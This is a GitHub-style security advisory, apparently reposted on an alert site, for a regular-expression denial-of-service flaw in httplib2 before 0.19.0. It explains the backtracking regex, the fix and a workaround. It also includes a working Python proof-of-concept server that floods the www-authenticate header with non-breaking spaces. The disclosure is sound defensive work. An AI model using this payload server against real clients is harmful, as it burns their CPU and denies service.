First published: Mon Feb 08 2021(Updated: )
### Impact A malicious server which responds with long series of `\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. ### Patches Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182 ### Workarounds ```py import httplib2 httplib2.USE_WWW_AUTH_STRICT_PARSING = True ``` ### Technical Details The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338 The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have: \s*[^ \t\r\n=]+\s*= Since all three infinitely repeating groups accept the non-breaking space character `\xa0`, a long string of `\xa0` causes catastrophic backtracking. The complexity is cubic, so doubling the length of the malicious string of `\xa0` makes processing take 8 times as long. ### Reproduction Steps Run a malicious server which responds with www-authenticate: x \xa0\xa0\xa0\xa0x but with many more `\xa0` characters. An example malicious python server is below: ```py from http.server import BaseHTTPRequestHandler, HTTPServer def make_header_value(n_spaces): repeat = "\xa0" * n_spaces return f"x {repeat}x" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(401) self.send_response_only(401) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65512 # Max header line length 65536 ) value = make_header_value(n_spaces) self.send_header("www-authenticate", value) # This header can actually be sent multiple times self.end_headers() if __name__ == "__main__": HTTPServer(("", 1337), Handler).serve_forever() ``` Connect to the server with httplib2: ```py import httplib2 httplib2.Http(".cache").request("http://localhost:1337", "GET") ``` To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000 ### References Thanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification. ### For more information If you have any questions or comments about this advisory: * Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new) * Email [current maintainer at 2021-01](mailto:temotor@gmail.com)
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
Httplib2 Project Httplib2 | <0.19.0 | |
pip/httplib2 | <0.19.0 | 0.19.0 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.